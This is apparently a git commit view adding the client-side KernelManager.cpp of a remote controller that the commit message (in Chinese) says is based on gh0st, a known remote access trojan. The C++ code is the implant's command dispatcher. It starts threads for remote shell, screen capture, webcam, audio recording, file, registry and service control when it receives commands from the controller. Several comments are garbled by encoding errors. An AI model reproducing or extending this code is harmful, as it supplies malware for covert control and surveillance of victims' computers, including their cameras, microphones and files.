基于gh0st的远程控制器
实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
135
client/KernelManager.cpp
Normal file
135
client/KernelManager.cpp
Normal file
@@ -0,0 +1,135 @@
|
||||
// KernelManager.cpp: implementation of the CKernelManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "KernelManager.h"
|
||||
#include "Common.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
||||
{
|
||||
memset(m_hThread, NULL, sizeof(ThreadInfo) * 0x1000);
|
||||
m_ulThreadCount = 0;
|
||||
}
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
int i = 0;
|
||||
for (i=0;i<0x1000;i++)
|
||||
{
|
||||
if (m_hThread->h!=0)
|
||||
{
|
||||
CloseHandle(m_hThread[i].h);
|
||||
m_hThread[i].h = NULL;
|
||||
}
|
||||
}
|
||||
m_ulThreadCount = 0;
|
||||
}
|
||||
|
||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
IOCPClient *pNew = szBuffer[0] == COMMAND_BYE ? NULL : new IOCPClient(true);
|
||||
m_hThread[m_ulThreadCount].p = pNew;
|
||||
|
||||
switch(szBuffer[0])
|
||||
{
|
||||
case COMMAND_TALK:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopTalkManager,
|
||||
pNew, 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopShellManager,
|
||||
pNew, 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)LoopProcessManager,
|
||||
pNew, 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopWindowManager,
|
||||
pNew, 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_BYE:
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_SPY:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopScreenManager,
|
||||
pNew, 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE :
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopFileManager,
|
||||
pNew, 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WEBCAM:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopVideoManager,
|
||||
pNew, 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_AUDIO:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopAudioManager,
|
||||
pNew, 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_REGEDIT:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopRegisterManager,
|
||||
pNew, 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SERVICES:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopServicesManager,
|
||||
pNew, 0, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
OutputDebugStringA("======> Error operator\n");
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
delete pNew;
|
||||
pNew = NULL;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user